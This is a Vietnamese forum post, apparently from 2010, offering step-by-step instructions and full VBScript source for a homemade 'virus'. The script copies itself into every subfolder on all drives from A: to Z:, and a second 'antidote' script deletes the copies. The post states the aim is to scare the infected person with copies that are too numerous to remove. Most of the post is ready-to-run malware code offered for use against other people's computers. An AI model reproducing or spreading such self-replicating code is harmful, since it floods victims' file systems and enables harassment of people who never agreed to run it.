Tự tạo virut tự nhân bản

**phucnguyenlov** · 05-23-2010, 10:59 PM

TỰ TẠO VIRUS - TỰ TẠO VIRUS TỰ NHÂN BẢN

Tác hại của con VR này:
- Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và sau đó cho vào 1 Folder 1 bản.
Mục đích để thằng bị dính nó hoang mang lo sợ, muốn xóa cũng ko thể nào xóa hết đc. Làm sao có thể xóa được gần cả ngàn thư mục trong Windows? mà thư mục nào cũng có mặt Virus
Và tất nhiên là mình có kèm theo cả thuốc giải
Chạy File thuốc giải là coi như xong, như chưa có chuyện gì xảy ra vậy

Vào notepad gõ đoạn code sau

Mã:
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End subsave lại bằng tên tranngap.vbs

Đợi một lúc và làm tiếp thế này để thoát khỏi sự tràn nhập cả trong thư mục và desktop ^^

copy code sau vào notepad

Mã:
'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End subsave dưới tên giaithoat.vbs